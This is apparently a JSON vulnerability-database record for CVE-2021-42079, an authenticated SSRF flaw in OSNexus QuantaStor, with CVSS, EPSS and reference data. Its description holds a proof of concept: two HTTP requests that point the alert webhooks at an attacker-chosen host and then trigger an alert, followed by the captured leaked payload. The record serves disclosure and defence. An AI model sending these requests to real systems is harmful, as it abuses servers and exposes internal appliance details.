{"cve":"CVE-2021-42079","nvd":{"published":"2023-07-10T16:15:47.467","modified":"2026-06-17T04:09:16.550","status":"Modified","description":"An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests.\n\nPOC\n\nStep 1: Prepare the SSRF with a request like this:\n\nGET /qstorapi/alertConfigSet?senderEmailAddress=a&smtpServerIpAddress=BURPCOLLABHOST&smtpServerPort=25&smtpUsername=a&smtpPassword=1&smtpAuthType=1&customerSupportEmailAddress=1&poolFreeSpaceWarningThreshold=1&poolFreeSpaceAlertThreshold=1&poolFreeSpaceCriticalAlertThreshold=1&pagerDutyServiceKey=1&slackWebhookUrl=http://<target>&enableAlertTypes&enableAlertTypes=1&disableAlertTypes=1&pauseAlertTypes=1&mattermostWebhookUrl=http://<TARGET>\nHTTP/1.1\n\nHost: <HOSTNAME> \nAccept-Encoding: gzip, deflate\n\nAccept: */*\nAccept-Language: en\n\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36\n\nConnection: close\n\nauthorization: Basic <BASIC_AUTH_HASH> \nContent-Type: application/json\n\nContent-Length: 0\n\nStep 2: Trigger this alert with this request\n\nGET /qstorapi/alertRaise?title=test&message=test&severity=1 \nHTTP/1.1\n\nHost: <HOSTNAME> \nAccept-Encoding: gzip, deflate\n\nAccept: */*\n\nAccept-Language: en\n\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36\n\nConnection: close\n\nauthorization: Basic <BASIC_AUTH_HASH> \nContent-Type: application/json\n\nContent-Length: 1\n\nThe post request received by <TARGET> looks like this:\n{\n \n### Python FLASK stuff ####\n\n 'endpoint': 'index', \n \n'method': 'POST', \n \n'cookies': ImmutableMultiDict([]), \n \n### END Python FLASK stuff ####\n\n \n'data': b'{ \n  \"attachments\": [ \n   {\n\n    \"fallback\": \"[122] test / test.\",\n\n    \"color\": \"#aa2222\",\n\n    \"title\": \"[122] test\",\n\n    \"text\": \"test\",\n\n    \"fields\": [   \n     {    \n\n      \"title\": \"Alert Severity\",\n        \n      \"value\": \"CRITICAL\",\n        \n      \"short\": false  \n     },  {   \n      \"title\": \"Appliance\",     \n      \"value\": \"quantastor (https://<HOSTNAME>)\",\n      \n      \"short\": true  \n\n     },  {    \n\n      \"title\": \"System / Driver / Kernel Ver\",    \n\n      \"value\": \"5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic\",    \n\n      \"short\": false  \n\n     },  {    \n\n      \"title\": \"System Startup\",    \n\n      \"value\": \"Fri Aug  6 16-02-55 2021\",    \n\n      \"short\": true  \n\n          },  {    \n\n      \"title\": \"SSID\",    \n\n      \"value\": \"f4823762-1dd1-1333-47a0-6238c474a7e7\",    \n\n      \"short\": true  \n\n     },\n    ],\n\n    \"footer\": \"QuantaStor Call-home Alert\",\n\n    \"footer_icon\": \" https://platform.slack-edge.com/img/default_application_icon.png \",\n\n    \"ts\": 1628461774\n   }\n  ], \n  \"mrkdwn\":true \n }', \n #### FLASK REQUEST STUFF #####\n\n 'headers': {\n\n  'Host': '<redacted>', \n  'User-Agent': 'curl/7.58.0', \n  'Accept': '*/*', \n  'Content-Type': 'application/json', \n  'Content-Length': '790'\n\n }, \n 'args': ImmutableMultiDict([]), \n 'form': ImmutableMultiDict([]), \n 'remote_addr': '217.103.63.173', \n 'path': '/payload/58', \n 'whois_ip': 'TNF-AS, NL'\n}\n\n#### END FLASK REQUEST STUFF #####","cvss_v4":null,"cvss_v3":{"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N","score":4.9},"cwes":["CWE-918"],"references":["https://cisrt.divd.nl/DIVD-2021-00020/","https://csirt.divd.nl/CVE-2021-42079","https://www.osnexus.com/products/software-defined-storage","https://www.wbsec.nl/osnexus","https://csirt.divd.nl/CVE-2021-42079"],"products":["osnexus:quantastor"],"source":"nvd","synced_at":"2026-10-19T21:38:30.124994567+00:00"},"epss":{"cve":"CVE-2021-42079","score":0.00694,"percentile":0.52961,"date":"2026-10-31"},"kev":null,"osv":[],"attribution":["This product uses the NVD API but is not endorsed or certified by the NVD.","EPSS scores: FIRST Exploit Prediction Scoring System, https://www.first.org/epss","Known exploited vulnerabilities: CISA Known Exploited Vulnerabilities Catalog, https://www.cisa.gov/known-exploited-vulnerabilities-catalog","Package advisories: OSV (https://osv.dev), from the GitHub Advisory Database, PyPA, Go, RustSec and other ecosystem databases, under CC-BY 4.0 or CC0","CVE records: the CVE Program's CVE List (https://www.cve.org), under its terms of use (https://www.cve.org/Legal/TermsOfUse). CVE is a registered trademark of The MITRE Corporation; this product is not affiliated with the CVE Program."]}